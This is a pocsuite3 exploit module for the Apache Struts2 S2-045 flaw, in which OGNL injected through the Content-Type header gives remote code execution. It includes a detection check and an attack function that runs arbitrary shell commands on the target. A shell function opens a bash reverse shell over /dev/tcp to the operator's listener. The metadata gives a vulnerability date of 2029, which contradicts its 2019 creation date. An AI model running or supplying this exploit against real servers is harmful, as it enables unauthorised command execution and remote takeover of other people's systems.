import random
import string
from collections import OrderedDict

from pocsuite3.api import Output, POCBase, POC_CATEGORY, register_poc, requests, get_listener_ip, get_listener_port
from pocsuite3.lib.core.enums import VUL_TYPE
from pocsuite3.lib.core.interpreter_option import OptString
from pocsuite3.lib.utils import random_str


class DemoPOC(POCBase):
    vulID = ''  # ssvid
    version = '1.0'
    author = ['knownsec.com']
    vulDate = '2029-5-8'
    createDate = '2019-5-8'
    updateDate = '2019-5-8'
    references = ['https://cwiki.apache.org/confluence/display/WW/S2-045']
    name = 'Apache Struts2 s2-045'
    appPowerLink = ''
    appName = 'Apache Struts2'
    appVersion = 'Struts 2.3.5 - Struts 2.3.31, Struts 2.5 - Struts 2.5.10'
    vulType = VUL_TYPE.CODE_EXECUTION
    desc = '''S2-045:影响版本Struts 2.3.5 - Struts 2.3.31, Struts 2.5 - Struts 2.5.10'''
    samples = []
    category = POC_CATEGORY.EXPLOITS.WEBAPP
    dockerfile = '''FROM isxiangyang/struts2-all-vul-pocsuite:latest'''

    def _options(self):
        o = OrderedDict()
        o["command"] = OptString('ls', description="可执行的shell命令")
        return o

    def _verify(self):
        p = self._check()
        if p:
            return self.parse_output(p)

    def _check(self):
        result = {}
        flagname = random_str(5, string.ascii_lowercase)
        randint = random.randint(300, 900)
        calc_result = randint * randint
        headers = {
            # "Content-Type": exec_payload.replace("CMD", "echo 111")
            "Content-Type": "%{#context['com.opensymphony.xwork2.dispatcher.HttpServletResponse'].addHeader('" + flagname + "'," + str(
                randint) + "*" + str(randint) + ")}.multipart/form-data"
        }
        req = requests.post(self.url, "", headers=headers)
        headers = req.headers
        issuc = False
        for key, value in headers.items():
            if key == flagname or value == str(calc_result):
                issuc = True
                break

        if issuc:
            result["VerifyInfo"] = {
                "URL": self.url,
                "Headers": repr(headers)
            }
            return result
        return False

    def _attack(self):
        result = {}
        p = self._check()
        if p:
            payloadPrefix = "hah-multipart/form-data %{(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='"

            payloadSuffix = "').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}"
            cmd = self.get_option("command")
            payload = payloadPrefix + cmd + payloadSuffix
            headers = {
                "Content-Type": payload,
                "Connection": "close"
            }
            req = requests.get(self.url, headers=headers)
            html = ''
            if req.status_code == 200 and req.text:
                html = req.text
            result["VerifyInfo"] = {
                "VerifyInfo": {
                    "info": html
                }
            }
        return self.parse_output(result)

    def _shell(self):
        # get_listener_ip(), get_listener_port()
        # shell_command = "sh -i >& /dev/tcp/{}/{} 0>&1".format(get_listener_ip(), get_listener_port())
        # b64raw = base64.b64encode(shell_command.encode()).decode()
        # fullcmd = "bash -c {echo," + b64raw + "}|{base64,-d}|{bash,-i}"
        fullcmd = f"bash -c \"bash -i >& /dev/tcp/{get_listener_ip()}/{get_listener_port()} 0>&1\""

        self.set_option("command", fullcmd)
        try:
            self._attack()
        except:
            pass

    def parse_output(self, result):
        output = Output(self)
        if result:
            output.success(result)
        else:
            output.fail('target is not vulnerable')
        return output


register_poc(DemoPOC)
